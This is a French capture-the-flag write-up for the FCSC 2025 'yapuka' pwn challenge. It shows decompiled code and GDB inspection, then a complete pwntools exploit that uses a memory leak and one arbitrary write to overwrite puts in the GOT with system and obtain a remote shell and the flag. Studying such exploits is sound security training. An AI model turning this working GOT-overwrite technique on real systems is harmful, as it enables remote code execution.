Solution de mk_4362 pour yapuka

intro pwn x86/x64

29 avril 2025

On a quoi ?

Deuxième challenge d’introduction en pwn, on nous donne plein de chose.

Et plusieurs fichiers :

  • le binaire
  • la libc utilisée
  • le chargeur et éditeur de lien correspondant

On comprend quoi ?

On commence par analyser un peu ce binaire, mais avant cela autant le patcher avec la bonne libc et le bon chargeur.

Pour cela, on peut utiliser pwninit (patchelf aussi, mais pwninit patch la libc et le ld). Une fois installé, il suffit de le lancer depuis le répertoire contenant nos trois fichiers et il se débrouille.

Il nous fournit alors le fichier yapuka_patched

$ file yapuka_patched
yapuka_patched: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.36.so, for GNU/Linux 3.2.0, BuildID[sha1]=ae21e8b1c9acd3cdb818199562c01f6d86f61c9c, not stripped
$ checksec --file=yapuka_patched
[*] '/home/mk/ctf/fcsc_2025/pwn/yapuka/yapuka_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No

Quelques points à noter :

  • x86_64
  • la plupart des sécurité classiques sont activées.

On peut le décompiler et regarder son fonctionnement :

void read_long(void)
{
  ssize_t nblu;
  long in_FS_OFFSET;
  char user_input [24];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  nblu = read(0,user_input,0x10);
  if ((int)nblu < 1) {
    exit(0);
  }
  atoll(user_input);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return;
}

void get_leak(void)

{
// je passe le code, mais ça lit /proc/self/maps
// et nous retourne la pagination mémoire du binaire
// un beau leak
}

int main(void)

{
  longlong where;
  longlong what;
  long in_FS_OFFSET;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  puts("Yapuka!");
  get_leak();
  puts("Now you can write once at an choose location!");
  puts("Where:");
  where = read_long();
  puts("What:");
  what = read_long();
  *(longlong *)where = what;
  puts("/bin/sh");
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}

Le programme :

  • nous affiche le leak de la mémoire
  • lit deux entiers saisis par l’utilisateur where et what
  • écrit la valeur what à l’adresse where
  • appelle puts("/bin/sh")

Que faire ?

Si on pouvait remplacer l’adresse de puts() par celle de system() on obtiendrait system("/bin/sh")

Est-ce possible ? oui, mais pas tout à fait comme ça.

Je vous laisse lire un peu sur la PLT et la GOT : https://www.ctfrecipes.com/pwn/general-knowledge/plt-and-got

Comment

On regarde ce qu’il se passe lors de l’appelle à puts() à la fin :

0x0000555555555448 <+182>:	call   0x555555555030 <puts@plt>

gef➤  x/5i 0x555555555030
   0x555555555030 <puts@plt>:	jmp    QWORD PTR [rip+0x2fca]        # 0x555555558000 <puts@got.plt>
   0x555555555036 <puts@plt+6>:	push   0x0
   0x55555555503b <puts@plt+11>:	jmp    0x555555555020

puts() n’est pas appelé directement, mais puts@plt qui va sauter sur puts@got.plt. Comme puts a déjà été appelée, et son adresse résolue (on se rappelle que le binaire est dynamically linked) on a l’adresse de puts dans la GOT : 0x555555558000

gef➤  vmmap 
Start              End                Offset             Perm Path
[...]
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/mk/ctf/fcsc_2025/pwn/yapuka/yapuka_patched
[...]

Et c’est le début d’une des plages mémoire du binaire (et du leak) qui est rw, on va pouvoir écrire à cet endroit.

Du coup on a le where, reste à trouver le what : l’adresse de system

Grace au leak, on connait aussi l’adresse de base de la libc (l’adresse mémoire où elle est chargée) :

0x00007ffff7de1000 0x00007ffff7e07000 0x0000000000000000 r-- /home/mk/ctf/fcsc_2025/pwn/yapuka/libc-2.36.so
[...]

On a plus qu’à trouver l’offset de system dans la bonne libc :

$ objdump -S libc-2.36.so | grep system
[...]
000000000004c490 <__libc_system>:
[...]

Et voilà … une fois la libc chargée en mémoire, system sera à base_libc (0x00007ffff7de1000 - prendre celle du leak lors de l’exécution) + offset_system (0x004c490)

Ce qui donne au final :

from pwn import *
from time import sleep


script="""

"""

exe = context.binary = ELF('./yapuka_patched')
HOST = "chall.fcsc.fr"
PORT = 2110

def con():
  if args.GDB:
    s = process([exe.path])
    gdb.attach(s, gdbscript=script)
    sleep(0.5)
  elif args.REMOTE:
    s = connect(HOST, PORT)
  elif args.DBG:
    s = process(["strace", "-o", "strace.out", "./yapuka_patched"])
  else:
    s = process([exe.path])
  return s

s = con()

rep = s.recvuntil(b'Where:\n')
print(rep.decode())

# traitement du leak récupération de l'adresse de puts@got et de la base de la libc
puts = rep.split(b'\n')[5].split(b'-')[0]
puts = puts.decode()
puts = int(puts, 16)

base_libc = rep.split(b'\n')[7].split(b'-')[0]
base_libc = base_libc.decode()
base_libc = int(base_libc, 16)

offset_sys = 0x004c490

system = base_libc + offset_sys

print(hex(puts))
print(hex(base_libc))
print(hex(system))

s.sendline(str(puts).encode())

rep = s.recvuntil(b'What:\n')
s.sendline(str(system).encode())

s.interactive()
 python3 exp.py REMOTE                                                                                                                       ✔  fcsc_2025 🐍  10:34:12   
[*] '/home/mk/ctf/fcsc_2025/pwn/yapuka/yapuka_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    Stripped:   No
[+] Opening connection to chall.fcsc.fr on port 2110: Done
Yapuka!
[...]
38d5bac6000-38d5bac7000 rw-p 00003000 00:22 14445                        /app/yapuka
[...]
68256b4fb000-68256b521000 r--p 00000000 00:22 7882                       /usr/lib/x86_64-linux-gnu/libc.so.6
[...]
Now you can write once at an choose location!
Where:

0x38d5bac6000
0x68256b4fb000
0x68256b547490
[*] Switching to interactive mode
$ ls
flag.txt
yapuka
$ cat flag.txt
FCSC{d83959a146c9b2c6342a93f6a5e328739c26dbdcbe350addf6befeb9f7a8988c}